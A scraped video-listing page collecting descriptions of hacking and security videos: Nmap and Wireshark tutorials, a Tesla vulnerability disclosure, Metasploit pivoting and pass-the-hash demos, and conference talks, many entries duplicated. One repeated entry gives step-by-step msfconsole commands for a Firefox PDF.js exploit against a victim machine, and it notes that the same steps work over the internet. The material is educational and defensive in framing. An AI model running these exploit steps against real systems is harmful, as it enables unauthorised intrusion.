Like my page : https://www.facebook.com/babacomputerspokhara/
By : Bijay Acharya
Twitter : @acharya_bijay
.Note :
- I used Camtasia for recording (paid version)
- Image Src : I used FreeVersions, for education purpose
- PPT slides : I used Powerpoint2013 (paid version)
- These video can be found in my next youtube channels too, i.e. youtube.com/itsolutionpokhara
- CustomThumbnail image : en.wikipedia.org
- Software used for demo : Kali Linux and VmWare open source

In this video, I will give some theory of Scanning. After that, I will provide a lab demo on Kali Linux Nmap CommandLines.
Slide : https://drive.google.com/open?id=0B2kyu5HKfbtDR1pCbnNTcjlFOTA
This video series is all about Ethical Hacking. So, utilize the knowledge for security purpose and do not perform illegal activities. StaySafe.
Like my page : https://www.facebook.com/babacomputerspokhara/
By : Bijay Acharya
Twitter : @acharya_bijay
.Note :
- I used Camtasia for recording (paid version)
- Image Src : I used FreeVersions, for education purpose
- PPT slides : I used Powerpoint2013 (paid version)
- These video can be found in my next youtube channels too, i.e. youtube.com/itsolutionpokhara
- CustomThumbnail image : en.wikipedia.org
- Software used for demo : Kali Linux and VmWare open source

Wireshark Packet Sniffing Usernames, Passwords, and Web Pages

Subscribe! http://danscourses.com - In this beginner tutorial, I demonstrate capturing packets with Wireshark. Protocols that are analyzed are Telnet, SSH, FTP,...

Subscribe! http://danscourses.com - In this beginner tutorial, I demonstrate capturing packets with Wireshark. Protocols that are analyzed are Telnet, SSH, FTP, and HTTP web traffic. I show how to use Wireshark to discover usernames and passwords as well as rebuilding web page content like JPG and PNG image files.
You can find Wireshark at: http://wireshark.org
You can find PuTTY at: http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html
You can find Filezilla at: https://filezilla-project.org/

Subscribe! http://danscourses.com - In this beginner tutorial, I demonstrate capturing packets with Wireshark. Protocols that are analyzed are Telnet, SSH, FTP, and HTTP web traffic. I show how to use Wireshark to discover usernames and passwords as well as rebuilding web page content like JPG and PNG image files.
You can find Wireshark at: http://wireshark.org
You can find PuTTY at: http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html
You can find Filezilla at: https://filezilla-project.org/

Ethical hacking: Footprinting & reconnaissance tutorial | http://www.pluralsight.com/courses/ethical-hacking-reconnaissance-footprinting
In this video, Pluralsight author DaleMeredith walks you through footprinting and reconnaissance.
The full course is part 2 of our 20 course Ethical Hacking series. This course starts you at the first phase (out of 5) of hacking. You'll begin the process of probing a system with the intent of attacking and compromising the target. This phase consists of either passively or actively acquiring evidence about a target. The goal is to gather as much data as possible about a would-be target with the goal of getting ample data to make future attacks easier and more directed.
Image this: As an Ethical Hacker, you've been asked to do a "Blackbox" attack on a customer's infrastructure. Your first step is finding out as much as you can about the "target." You accomplish this via reconnaissance/footprinting. This is the initial stage in gaining a blueprint of the security profile of a target, and it is accomplished in an organized manner. Reconnaissance is one of the three "pre-attack phases," and results in a unique profile of an organization's networks and systems. "Reconning" an organization is necessary in order to systematically gather all the related data in regards to the technologies deployed within the network. Reconnaissance can take up to 90% of the time during penetration testing or an actual attack. We'll show you how attackers are currently reconning your company, as well as discuss in detail the steps of reconnaissance. Finally we'll look at some possible countermeasures to help discourage attackers.
Visit us at:
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Blog: http://blog.pluralsight.com/
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Ethical hacking: Footprinting & reconnaissance tutorial | Pluralsight
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Push your limits. Expand your potential. Smarter than yesterday-
https://www.youtube.com/watch?v=k2s77i9zTek
-~-~~-~~~-~~-~-

Ethical hacking: Footprinting & reconnaissance tutorial | http://www.pluralsight.com/courses/ethical-hacking-reconnaissance-footprinting
In this video, Pluralsight author DaleMeredith walks you through footprinting and reconnaissance.
The full course is part 2 of our 20 course Ethical Hacking series. This course starts you at the first phase (out of 5) of hacking. You'll begin the process of probing a system with the intent of attacking and compromising the target. This phase consists of either passively or actively acquiring evidence about a target. The goal is to gather as much data as possible about a would-be target with the goal of getting ample data to make future attacks easier and more directed.
Image this: As an Ethical Hacker, you've been asked to do a "Blackbox" attack on a customer's infrastructure. Your first step is finding out as much as you can about the "target." You accomplish this via reconnaissance/footprinting. This is the initial stage in gaining a blueprint of the security profile of a target, and it is accomplished in an organized manner. Reconnaissance is one of the three "pre-attack phases," and results in a unique profile of an organization's networks and systems. "Reconning" an organization is necessary in order to systematically gather all the related data in regards to the technologies deployed within the network. Reconnaissance can take up to 90% of the time during penetration testing or an actual attack. We'll show you how attackers are currently reconning your company, as well as discuss in detail the steps of reconnaissance. Finally we'll look at some possible countermeasures to help discourage attackers.
Visit us at:
Facebook: https://www.facebook.com/pluralsight
Twitter: https://twitter.com/pluralsight
Google+: https://plus.google.com/+pluralsight
LinkedIn: https://www.linkedin.com/company/pluralsight
Instagram: http://instagram.com/pluralsight
Blog: http://blog.pluralsight.com/
3,500 courses unlimited and online. Start your 10-day FREE trial now: https://www.pluralsight.com/a/subscribe/step1?isTrial=True
Ethical hacking: Footprinting & reconnaissance tutorial | Pluralsight
-~-~~-~~~-~~-~-
Push your limits. Expand your potential. Smarter than yesterday-
https://www.youtube.com/watch?v=k2s77i9zTek
-~-~~-~~~-~~-~-

Car Hacking Research: Remote Attack Tesla Motors by Keen Security Lab

With several months of in-depth research on TeslaCars, we have discovered multiple security vulnerabilities and successfully implemented remote, aka none physi...

With several months of in-depth research on TeslaCars, we have discovered multiple security vulnerabilities and successfully implemented remote, aka none physical contact, control on Tesla Model S in both Parking and DrivingMode. It is worth to note that we used an unmodified car with latest firmware to demonstrate the attack.
Following the global industry practice on “responsible disclosure” of product security vulnerabilities, we have reported the technical details of all the vulnerabilities discovered in the research to Tesla. The vulnerabilities have been confirmed by Tesla ProductSecurityTeam.
Keen Security Lab appreciates the proactive attitude and efforts of Tesla Security Team, leading by Chris Evans, on responding our vulnerability report and taking actions to fix the issues efficiently. Keen Security Lab is coordinating with Tesla on issue fixing to ensure the driving safety of Tesla users.
As far as we know, this is the first case of remote attack which compromises CAN Bus to achieve remote controls on Tesla cars. We have verified the attack vector on multiple varieties of Tesla Model S. It is reasonable to assume that other Tesla models are affected. Keen Security Lab would like to send out this reminder to all Tesla car owners:
PLEASE DO UPDATE THE FIRMWARE OF YOUR TESLACAR TO THE LATEST VERSION TO ENSURE THAT THE ISSUES ARE FIXED AND AVOID POTENTIAL DRIVING SAFETYRISKS.
This video demonstrates the impact of our remote attack vector. REMINDER: WHAT YOU ARE ABOUT TO SEE IN THIS VIDEO ARE PERFORMED BY PROFESSIONAL RESEARCHERS, DO NOTTRY THIS AT HOME.

With several months of in-depth research on TeslaCars, we have discovered multiple security vulnerabilities and successfully implemented remote, aka none physical contact, control on Tesla Model S in both Parking and DrivingMode. It is worth to note that we used an unmodified car with latest firmware to demonstrate the attack.
Following the global industry practice on “responsible disclosure” of product security vulnerabilities, we have reported the technical details of all the vulnerabilities discovered in the research to Tesla. The vulnerabilities have been confirmed by Tesla ProductSecurityTeam.
Keen Security Lab appreciates the proactive attitude and efforts of Tesla Security Team, leading by Chris Evans, on responding our vulnerability report and taking actions to fix the issues efficiently. Keen Security Lab is coordinating with Tesla on issue fixing to ensure the driving safety of Tesla users.
As far as we know, this is the first case of remote attack which compromises CAN Bus to achieve remote controls on Tesla cars. We have verified the attack vector on multiple varieties of Tesla Model S. It is reasonable to assume that other Tesla models are affected. Keen Security Lab would like to send out this reminder to all Tesla car owners:
PLEASE DO UPDATE THE FIRMWARE OF YOUR TESLACAR TO THE LATEST VERSION TO ENSURE THAT THE ISSUES ARE FIXED AND AVOID POTENTIAL DRIVING SAFETYRISKS.
This video demonstrates the impact of our remote attack vector. REMINDER: WHAT YOU ARE ABOUT TO SEE IN THIS VIDEO ARE PERFORMED BY PROFESSIONAL RESEARCHERS, DO NOTTRY THIS AT HOME.

Virtual Network Computing is widely used across all enterprises by IT administrators to remotely manage these computing devices.
What if your VNC has already been compromised by the lack of centralized management across your endpoints and servers?
Learn how to hack YouTube series: https://www.youtube.com/playlist?list=PL0-xwzAwzllx4w5OYdRoVTqlNvQ7xALNM

Virtual Network Computing is widely used across all enterprises by IT administrators to remotely manage these computing devices.
What if your VNC has already been compromised by the lack of centralized management across your endpoints and servers?
Learn how to hack YouTube series: https://www.youtube.com/playlist?list=PL0-xwzAwzllx4w5OYdRoVTqlNvQ7xALNM

Hacking NIS Penetration Test Tutorial

In this tutorial I show you how to compromise an NIS installation. If you have a comment or an idea for a tutorial, webinar, or interview please subscribe and l...

In this tutorial I show you how to compromise an NIS installation. If you have a comment or an idea for a tutorial, webinar, or interview please subscribe and leave a comment below :)
http://InfoSecTalk.com/g+
http://InfoSecTalk.com/facebook
http://InfoSecTalk.com/twitter
http://InfoSecTalk.com/youtube

In this tutorial I show you how to compromise an NIS installation. If you have a comment or an idea for a tutorial, webinar, or interview please subscribe and leave a comment below :)
http://InfoSecTalk.com/g+
http://InfoSecTalk.com/facebook
http://InfoSecTalk.com/twitter
http://InfoSecTalk.com/youtube

Metasploit Tutorials - Pivoting into Internal Subnets!

In this LAB,
After gaining initial access to an XP SP1 machine with the classic MS08_067_net_api, we dump the hashes out and grab the administrator account.
Fro...

In this LAB,
After gaining initial access to an XP SP1 machine with the classic MS08_067_net_api, we dump the hashes out and grab the administrator account.
From here we look at the routing table and find a second NIC connected to this box..
Now we know this machine has a leg in a totally separate network now we want to compromise this box as well.
So lets now add a static Route to tell Metasploit that in order to get to our new Network go via the Session already created.
Now this is done we can run a port scan through Metasploit and see what IP address's are responding to Ports , 137,139 or 445.
These are the standard windows ports open by default.
OK so we have a new IP here to try. Lets now use the hashes we got from the XP box and use them to exploit the SMBService and Gain access to the box.
At this point i forgot to change the Payload to a bind payload, apologies for this...
After making the correct change we are through and now have compromised both machines and have SYSTEM level to both,

In this LAB,
After gaining initial access to an XP SP1 machine with the classic MS08_067_net_api, we dump the hashes out and grab the administrator account.
From here we look at the routing table and find a second NIC connected to this box..
Now we know this machine has a leg in a totally separate network now we want to compromise this box as well.
So lets now add a static Route to tell Metasploit that in order to get to our new Network go via the Session already created.
Now this is done we can run a port scan through Metasploit and see what IP address's are responding to Ports , 137,139 or 445.
These are the standard windows ports open by default.
OK so we have a new IP here to try. Lets now use the hashes we got from the XP box and use them to exploit the SMBService and Gain access to the box.
At this point i forgot to change the Payload to a bind payload, apologies for this...
After making the correct change we are through and now have compromised both machines and have SYSTEM level to both,

How A Windows Can Be Compromised(Hacked) Just By Clicking A Link -solutionrider

Hello Guys
This is solutionrider
Today i am going to show you how a windows machine can be compromised(hacked) just by clicking a link..(only in firefox brows...

Hello Guys
This is solutionrider
Today i am going to show you how a windows machine can be compromised(hacked) just by clicking a link..(only in firefox browser)
Means how dangerous it can be to click an unknown link...
STAY SAFE BY WATCHING THIS TUTORIAL..
Req:-
1.a kali machine as hacker
2.a windows machine as victim
i am doing all these in a lab (vmware player)
I AM NOT RESPONSIBLE FOR YOUR ACTION!!
don not misuse it...
Now follow my steps:
open metasploit (in terminal msfconsole)
in metasploit type these command one bye one...
$use exploit/multi/browser/firefox_pdfjs_privilege_escalation
$set SRVHOST (ip)
*ip can be private as i am using for lan ..you can use public ip for wan or hacking over internet...
$ifconfig (to know your private ip in kali)
$set lhost (ip)
$set URIPATH / (/--means root )
$run
Now copy the url provided and open it in the victim machine use firefox browser...
As you can see we get a session in metasploit for victim ip...
Thanks for watching.
I AM NOT RESPONSIBLE FOR YOUR ACTION!!
For more detail visit http://solutionrider.in

Hello Guys
This is solutionrider
Today i am going to show you how a windows machine can be compromised(hacked) just by clicking a link..(only in firefox browser)
Means how dangerous it can be to click an unknown link...
STAY SAFE BY WATCHING THIS TUTORIAL..
Req:-
1.a kali machine as hacker
2.a windows machine as victim
i am doing all these in a lab (vmware player)
I AM NOT RESPONSIBLE FOR YOUR ACTION!!
don not misuse it...
Now follow my steps:
open metasploit (in terminal msfconsole)
in metasploit type these command one bye one...
$use exploit/multi/browser/firefox_pdfjs_privilege_escalation
$set SRVHOST (ip)
*ip can be private as i am using for lan ..you can use public ip for wan or hacking over internet...
$ifconfig (to know your private ip in kali)
$set lhost (ip)
$set URIPATH / (/--means root )
$run
Now copy the url provided and open it in the victim machine use firefox browser...
As you can see we get a session in metasploit for victim ip...
Thanks for watching.
I AM NOT RESPONSIBLE FOR YOUR ACTION!!
For more detail visit http://solutionrider.in

published:11 Jul 2017

views:78

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'State of Surveillance' with Edward Snowden and Shane Smith (VICE on HBO: Season 4, Episode 13)

When NSA whistleblower Edward Snowden leaked details of massive government surveillance programs in 2013, he ignited a raging debate over digital privacy and se...

When NSA whistleblower Edward Snowden leaked details of massive government surveillance programs in 2013, he ignited a raging debate over digital privacy and security. That debate came to a head this year, when Apple refused an FBI court order to access the iPhone of alleged San BernardinoTerroristSyed Farook. Meanwhile, journalists and activists are under increasing attack from foreign agents. To find out the government's real capabilities, and whether any of us can truly protect our sensitive information, VICE founder Shane Smith heads to Moscow to meet the man who started the conversation, Edward Snowden.
VICE on HBOSeason 1: http://bit.ly/1BAQdq5
VICE on HBO Season 2:http://bit.ly/1LBL8y6
VICE on HBO Season 3:http://bit.ly/1XaNpct
Check out VICE News' continuing coverage of Edward Snowden and the surveillance debate:
SnowdenClaims 'Deceptive' NSA Still Has Proof He Tried to RaiseSurveillance Concerns: http://bit.ly/25MqUfD
Exclusive: Snowden Tried to Tell NSA About Surveillance Concerns, Documents Reveal: http://bit.ly/1TVVkog
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When NSA whistleblower Edward Snowden leaked details of massive government surveillance programs in 2013, he ignited a raging debate over digital privacy and security. That debate came to a head this year, when Apple refused an FBI court order to access the iPhone of alleged San BernardinoTerroristSyed Farook. Meanwhile, journalists and activists are under increasing attack from foreign agents. To find out the government's real capabilities, and whether any of us can truly protect our sensitive information, VICE founder Shane Smith heads to Moscow to meet the man who started the conversation, Edward Snowden.
VICE on HBOSeason 1: http://bit.ly/1BAQdq5
VICE on HBO Season 2:http://bit.ly/1LBL8y6
VICE on HBO Season 3:http://bit.ly/1XaNpct
Check out VICE News' continuing coverage of Edward Snowden and the surveillance debate:
SnowdenClaims 'Deceptive' NSA Still Has Proof He Tried to RaiseSurveillance Concerns: http://bit.ly/25MqUfD
Exclusive: Snowden Tried to Tell NSA About Surveillance Concerns, Documents Reveal: http://bit.ly/1TVVkog
Click here to subscribe to VICE: http://bit.ly/Subscribe-to-VICE
Check out our full video catalog: http://bit.ly/VICE-Videos
Videos, daily editorial and more: http://vice.com
More videos from the VICE network: https://www.fb.com/vicevideo
Like VICE on Facebook: http://fb.com/vice
Follow VICE on Twitter: http://twitter.com/vice
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published:08 Jun 2016

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How A Windows Can Be Compromised (Hacked) Just By Clicking A Link -solutionrider

Hello Guys
This is solutionrider
Today i am going to show you how a windows machine can be compromised(hacked) just by clicking a link..(only in firefox brows...

Hello Guys
This is solutionrider
Today i am going to show you how a windows machine can be compromised(hacked) just by clicking a link..(only in firefox browser)
Means how dangerous it can be to click an unknown link...
STAY SAFE BY WATCHING THIS TUTORIAL..
Req:-
1.a kali machine as hacker
2.a windows machine as victim
i am doing all these in a lab (vmware player)
I AM NOT RESPONSIBLE FOR YOUR ACTION!!
don not misuse it...
Now follow my steps:
open metasploit (in terminal msfconsole)
in metasploit type these command one bye one...
$use exploit/multi/browser/firefox_pdfjs_privilege_escalation
$set SRVHOST (ip)
*ip can be private as i am using for lan ..you can use public ip for wan or hacking over internet...
$ifconfig (to know your private ip in kali)
$set lhost (ip)
$set URIPATH / (/--means root )
$run
Now copy the url provided and open it in the victim machine use firefox browser...
As you can see we get a session in metasploit for victim ip...
Thanks for watching.
I AM NOT RESPONSIBLE FOR YOUR ACTION!!
For more detail visit http://www.solutionrider.in

Hello Guys
This is solutionrider
Today i am going to show you how a windows machine can be compromised(hacked) just by clicking a link..(only in firefox browser)
Means how dangerous it can be to click an unknown link...
STAY SAFE BY WATCHING THIS TUTORIAL..
Req:-
1.a kali machine as hacker
2.a windows machine as victim
i am doing all these in a lab (vmware player)
I AM NOT RESPONSIBLE FOR YOUR ACTION!!
don not misuse it...
Now follow my steps:
open metasploit (in terminal msfconsole)
in metasploit type these command one bye one...
$use exploit/multi/browser/firefox_pdfjs_privilege_escalation
$set SRVHOST (ip)
*ip can be private as i am using for lan ..you can use public ip for wan or hacking over internet...
$ifconfig (to know your private ip in kali)
$set lhost (ip)
$set URIPATH / (/--means root )
$run
Now copy the url provided and open it in the victim machine use firefox browser...
As you can see we get a session in metasploit for victim ip...
Thanks for watching.
I AM NOT RESPONSIBLE FOR YOUR ACTION!!
For more detail visit http://www.solutionrider.in

DEF CON 23 - Brent White - Hacking Web Apps

Assessing the security posture of a web application is a common project for a penetration tester and a good skill for developers to know. In this talk, I'll go ...

Assessing the security posture of a web application is a common project for a penetration tester and a good skill for developers to know. In this talk, I'll go over the different stages of a web application pen test, from start to finish. We'll start with the discovery phase to utilize OSINT sources such as search engines, sub-domain brute-forcing and other methods to help you get a good idea of targets "footprint", all the way to fuzzing parameters to find potential SQL injection vulnerabilities. I'll also discuss several of the tools and some techniques that I use to conduct a full application penetration assessment. After this talk, you should have a good understanding of what is needed as well as where to start on your journey to hacking web apps.
Speaker Bio:
Brent is an OffensiveSecurity Consultant at Solutionary NTTGroup Security Company and has spoken at numerous security conferences, including DEF CON 22‹SE Village. He has held the role of Web/Project Manager and IT SecurityDirector at the headquarters of a global franchise company. His experience includes Internal and ExternalPenetration Assessments, Social Engineering and Physical Security Assessments, Wireless and ApplicationVulnerability Assessments and more.
Twitter: @BrentWDesign

Assessing the security posture of a web application is a common project for a penetration tester and a good skill for developers to know. In this talk, I'll go over the different stages of a web application pen test, from start to finish. We'll start with the discovery phase to utilize OSINT sources such as search engines, sub-domain brute-forcing and other methods to help you get a good idea of targets "footprint", all the way to fuzzing parameters to find potential SQL injection vulnerabilities. I'll also discuss several of the tools and some techniques that I use to conduct a full application penetration assessment. After this talk, you should have a good understanding of what is needed as well as where to start on your journey to hacking web apps.
Speaker Bio:
Brent is an OffensiveSecurity Consultant at Solutionary NTTGroup Security Company and has spoken at numerous security conferences, including DEF CON 22‹SE Village. He has held the role of Web/Project Manager and IT SecurityDirector at the headquarters of a global franchise company. His experience includes Internal and ExternalPenetration Assessments, Social Engineering and Physical Security Assessments, Wireless and ApplicationVulnerability Assessments and more.
Twitter: @BrentWDesign

Compromised: A Hacking Tutorial and Lab

Learn more at http://www.asterisk.org
An introduction to SIP hacking, see and gain hands on knowledge of how to use the various SIP penetration testing and hacking tools available.
Phillip Mullis

published: 21 Nov 2013

[In Nepali] Learn Ethical Hacking - Part 7 - Scanning + NMAP Lab

In this video, I will give some theory of Scanning. After that, I will provide a lab demo on Kali Linux Nmap CommandLines.
Slide : https://drive.google.com/open?id=0B2kyu5HKfbtDR1pCbnNTcjlFOTA
This video series is all about Ethical Hacking. So, utilize the knowledge for security purpose and do not perform illegal activities. StaySafe.
Like my page : https://www.facebook.com/babacomputerspokhara/
By : Bijay Acharya
Twitter : @acharya_bijay
.Note :
- I used Camtasia for recording (paid version)
- Image Src : I used FreeVersions, for education purpose
- PPT slides : I used Powerpoint2013 (paid version)
- These video can be found in my next youtube channels too, i.e. youtube.com/itsolutionpokhara
- CustomThumbnail image : en.wikipedia.org
- Software used for demo : Kali Linux and ...

published: 27 Mar 2016

How-to Penetration Testing and Post Exploitation with Armitage and msfconsole

** Please Like, Subscribe, Share and Thumbs Up **
In this video we show you the PostExploitation tasks in both Armitage and msfconsole. Setting up Pivots, Meterpreter shells, Reporting, PSEXEC and Pass-The-Hash attacks to compromise other boxes on the network that are otherwise not exploitable and patched.
Links:
Facebook: http://www.facebook.com/Netsecnow
Blog: http://www.learnnetsec.com/
Twitter: http://www.twitter.com/LearnNetSec

published: 13 Aug 2013

Hacker U Hackers Lab 2

This is a long video, grab a drink now!

published: 03 Dec 2013

Emanate Like A Boss: Generalized Covert Data Exfiltration With Funtenna

by Ang Cui
Funtenna is a software-only technique which causes intentional compromising emanation in a wide spectrum of modern computing hardware for the purpose of covert, reliable data exfiltration through secured and air-gapped networks. We present a generalized Funtenna technique that reliably encodes and emanates arbitrary data across wide portions of the electromagnetic spectrum, ranging from the sub-acoustic to RF and beyond.
The Funtenna technique is hardware agnostic, can operate within nearly all modern computer systems and embedded devices, and is specifically intended to operate within hardware not designed to to act as RF transmitters.
We believe that Funtenna is an advancement of current state-of-the-art covert wireless exfiltration technologies. Specifically, Funtenna offe...

published: 28 Dec 2015

'State of Surveillance' with Edward Snowden and Shane Smith (VICE on HBO: Season 4, Episode 13)

When NSA whistleblower Edward Snowden leaked details of massive government surveillance programs in 2013, he ignited a raging debate over digital privacy and security. That debate came to a head this year, when Apple refused an FBI court order to access the iPhone of alleged San BernardinoTerroristSyed Farook. Meanwhile, journalists and activists are under increasing attack from foreign agents. To find out the government's real capabilities, and whether any of us can truly protect our sensitive information, VICE founder Shane Smith heads to Moscow to meet the man who started the conversation, Edward Snowden.
VICE on HBOSeason 1: http://bit.ly/1BAQdq5
VICE on HBO Season 2:http://bit.ly/1LBL8y6
VICE on HBO Season 3:http://bit.ly/1XaNpct
Check out VICE News' continuing coverage of Edward...

published: 08 Jun 2016

DEF CON 23 - Brent White - Hacking Web Apps

Assessing the security posture of a web application is a common project for a penetration tester and a good skill for developers to know. In this talk, I'll go over the different stages of a web application pen test, from start to finish. We'll start with the discovery phase to utilize OSINT sources such as search engines, sub-domain brute-forcing and other methods to help you get a good idea of targets "footprint", all the way to fuzzing parameters to find potential SQL injection vulnerabilities. I'll also discuss several of the tools and some techniques that I use to conduct a full application penetration assessment. After this talk, you should have a good understanding of what is needed as well as where to start on your journey to hacking web apps.
Speaker Bio:
Brent is an Offensive S...

Security has gone from a curiosity to a phenomenon in the last decade. Fortunately for us, despite the rise of memory-safe, interpreted, lame languages, the security of binaries is as relevant as ever. On top of that, (computer security) Capture the Flag competitions have skyrocketed in popularity, with new and exciting binaries on offer for hacking every weekend.
This all sounds great, and it is. Unfortunately, the more time goes by, the older we get, and the more our skills fade. Whereas we were happy to stare at objdump a decade ago, today, we find the menial parts of reversing and pwning more and more tiring and more and more difficult. Worse, while security analysis tools have been evolving to make life easier for us hackers, the core tools that we use (like IDA Pro) have remained mo...

Want to get started on a hunt team and discover "bad things" on your network?
In this webcast, we will walk through the installation and usage of Real IntelligenceThreat Analytics (RITA). RITA is an open-source framework from the folks at Black HillsInformation Security and Offensive CounterMeasures. RITA ingests Bro logs and seeks out malicious payload beaconing and scanning behavior. It also determines which systems in your environment are talking with known bad IP addresses and domains. In less than an hour, you will learn how to collect and analyze network traffic for hunt teaming analysis.
We will also provide some sample Bro logs for you to play with and give RITA a test drive. Want to use your own Bro logs? Great! Just make sure your logs come from an egress pre-NAT point wher...

published: 27 Feb 2017

Forensic Investigations – Tools and Hacks Observed - Ondrej Krehel

Forensic Investigations – Tools and Hacks Observed, Ondrej Krehel at NYCCyber Security meetup at Thoughtworks NYC on Feb 25 2016
ABSTRACT
Investigation of hacking incidents often requires combine effort of different technologies. Network forensics is one of the components in the process of finding compromised hosts, capturing and reconstructing malicious sessions. This lab will cover open source tools used for network forensics. Variety of tools can produce quite significant supplement to electronic evidence, and in many cases also capture the malicious executable transmitted in the traffic, or ex-filtrated data.
Various network protocols and their structure are presented. Open source network forensic tools are used on the traffic captured from a hacked web server. Different tools are...

In this talk, we will discuss Android's attack surface reduction history, and how that fits into the broader Android security story. We will go into detail on the specific technical strategies used to achieve the attack surface reduction, and explore specific bugs which were made unreachable as a result of the hardening over the last several years. And we will examine the overall result of the hardening, and areas for improvement.
By Nick Kralevich
Full Abstract & Presentation Materials:
https://www.blackhat.com/us-17/briefings.html#honey-i-shrunk-the-attack-surface-%E2%80%93-adventures-in-android-security-hardening

Hacking with WebSockets HTML5 | Black Hat 2012 USA

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Presented By: Sergey Shekyan and Vaagn Toukharian
HTML5 isn't just for watching videos on your iPad. Its features may be the target of a security attack as much as they may be used to improve an attack. Vulnerabilities like XSS have been around since the web's beginning, but exploiting them has become increasingly sophisticated. HTML5 features like WebSockets are part of the framework for controlling browsers compromised by XSS.
This presentation provides an overview of WebSockets. How they might increase the attack surface of a web site, their implications for privacy, and the potential security problems with protocols tunn...

Remember that web application you wrote when you where first learning PHP? Ever wonder how vulnerable that code base is? Through the perspective of an attacker you will see how SQL injection can lead to data loss and system compromise. This presentation will take you through the techniques and tools used to take control of a PHP web application starting from an injection point moving to PHP web shells, and ending with a Linux wildcard attack.
Speaker Bio:
Nemus works as a software engineer in the payment industry developing software that transfers money between banking systems. He is a founding member of 801Labs, a hackerspace located in Salt Lake City, and is an active member of his local DEF CON group DC801. Nemus has a BS in Computer Science and is a certified GIACWeb Application Pen...

published: 16 Dec 2015

CS7038: Wk02.1 - VirtualBox Lab Setup and Attack Simulation Demo

This lecture discusses a number of common features I use for setting up VMs in VirtualBox (https://virtualbox.org) to run a wholly-isolated malware attack simulation lab. In this instance, we use one VM to play attacker, and another VM to play victim. Using "InternalNetwork" and "Shared Folders" we create a functional communication path between the machines and also a file transfer drop zone for your VMs and your Host.
TOC below:
13:00 - Starting up metasploit (msfconsole, msfupdate)
24:02 - Searching msf exploit database
27:00 - Use an exploit (adobed_pdf_embedded_exe)
31:44 - Find a payload to deliver via the exploit (reverse_tcp)
33:15 - Select a payload to deliver (explanation of reverse_tcp strategy)
35:00 - exploit/payload options (options)
35:50 - Set up "Internal Network" for vi...

For more information, please visit: www.ioactive.com
This 60-minute webinar led by Jason Larsen, PrincipalSecurity Consultant for IOActive, you will learn what hackers do after they break into a process control network.
Hacking into a process control network is only the beginning of an attack on a cyber-physical system. Often breaking into the network is the easy part. Understanding and controlling the process usually takes far more time and expertise. It’s also a deeply overlooked part of a part of a robust defense. There are a number of tasks an attacker must perform in order to be more of a nuisance.
Jason will discuss post-penetration attack methodologies by analyzing a simulated Vinyl Acetate plant and extracting the necessary data to mount an efficient economic attack on the p...

published: 27 Mar 2015

How To Remove Malware From Your Website | "Visiting This Site May Harm Your Computer"

How To Remove Malware From Your Website, How To Remove Message "Visiting This Site May HarmYour Computer" How To Remove Eval Malware Code From Your Website, How To Recover A Hack Website, How To BeSafe Your Website For Virus, Remove Virus From Your Wordpress Blog, Wordpress, Google, How To Safe Browsing A Website, Learn How To Hack A Website.

[In Nepali] Learn Ethical Hacking - Part 7 - Scanning + NMAP Lab

In this video, I will give some theory of Scanning. After that, I will provide a lab demo on Kali Linux Nmap CommandLines.
Slide : https://drive.google.com/o...

In this video, I will give some theory of Scanning. After that, I will provide a lab demo on Kali Linux Nmap CommandLines.
Slide : https://drive.google.com/open?id=0B2kyu5HKfbtDR1pCbnNTcjlFOTA
This video series is all about Ethical Hacking. So, utilize the knowledge for security purpose and do not perform illegal activities. StaySafe.
Like my page : https://www.facebook.com/babacomputerspokhara/
By : Bijay Acharya
Twitter : @acharya_bijay
.Note :
- I used Camtasia for recording (paid version)
- Image Src : I used FreeVersions, for education purpose
- PPT slides : I used Powerpoint2013 (paid version)
- These video can be found in my next youtube channels too, i.e. youtube.com/itsolutionpokhara
- CustomThumbnail image : en.wikipedia.org
- Software used for demo : Kali Linux and VmWare open source

In this video, I will give some theory of Scanning. After that, I will provide a lab demo on Kali Linux Nmap CommandLines.
Slide : https://drive.google.com/open?id=0B2kyu5HKfbtDR1pCbnNTcjlFOTA
This video series is all about Ethical Hacking. So, utilize the knowledge for security purpose and do not perform illegal activities. StaySafe.
Like my page : https://www.facebook.com/babacomputerspokhara/
By : Bijay Acharya
Twitter : @acharya_bijay
.Note :
- I used Camtasia for recording (paid version)
- Image Src : I used FreeVersions, for education purpose
- PPT slides : I used Powerpoint2013 (paid version)
- These video can be found in my next youtube channels too, i.e. youtube.com/itsolutionpokhara
- CustomThumbnail image : en.wikipedia.org
- Software used for demo : Kali Linux and VmWare open source

published:27 Mar 2016

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How-to Penetration Testing and Post Exploitation with Armitage and msfconsole

** Please Like, Subscribe, Share and Thumbs Up **
In this video we show you the PostExploitation tasks in both Armitage and msfconsole. Setting up Pivots, Meterpreter shells, Reporting, PSEXEC and Pass-The-Hash attacks to compromise other boxes on the network that are otherwise not exploitable and patched.
Links:
Facebook: http://www.facebook.com/Netsecnow
Blog: http://www.learnnetsec.com/
Twitter: http://www.twitter.com/LearnNetSec

** Please Like, Subscribe, Share and Thumbs Up **
In this video we show you the PostExploitation tasks in both Armitage and msfconsole. Setting up Pivots, Meterpreter shells, Reporting, PSEXEC and Pass-The-Hash attacks to compromise other boxes on the network that are otherwise not exploitable and patched.
Links:
Facebook: http://www.facebook.com/Netsecnow
Blog: http://www.learnnetsec.com/
Twitter: http://www.twitter.com/LearnNetSec

Emanate Like A Boss: Generalized Covert Data Exfiltration With Funtenna

by Ang Cui
Funtenna is a software-only technique which causes intentional compromising emanation in a wide spectrum of modern computing hardware for the purpos...

by Ang Cui
Funtenna is a software-only technique which causes intentional compromising emanation in a wide spectrum of modern computing hardware for the purpose of covert, reliable data exfiltration through secured and air-gapped networks. We present a generalized Funtenna technique that reliably encodes and emanates arbitrary data across wide portions of the electromagnetic spectrum, ranging from the sub-acoustic to RF and beyond.
The Funtenna technique is hardware agnostic, can operate within nearly all modern computer systems and embedded devices, and is specifically intended to operate within hardware not designed to to act as RF transmitters.
We believe that Funtenna is an advancement of current state-of-the-art covert wireless exfiltration technologies. Specifically, Funtenna offers comparable exfiltration capabilities to RF-based retro-reflectors, but can be realized without the need for physical implantation and illumination.
We first present a brief survey of the history of compromising emanation research, followed by a discussion of the theoretical mechanisms of Funtenna and intentionally induced compromising emanation in general. Lastly, we demonstrate implementations of Funtenna as small software implants within several ubiquitous embedded devices, such as VoIP phones and printers, and in common computer peripherals, such as hard disks, console ports, network interface cards and more.

by Ang Cui
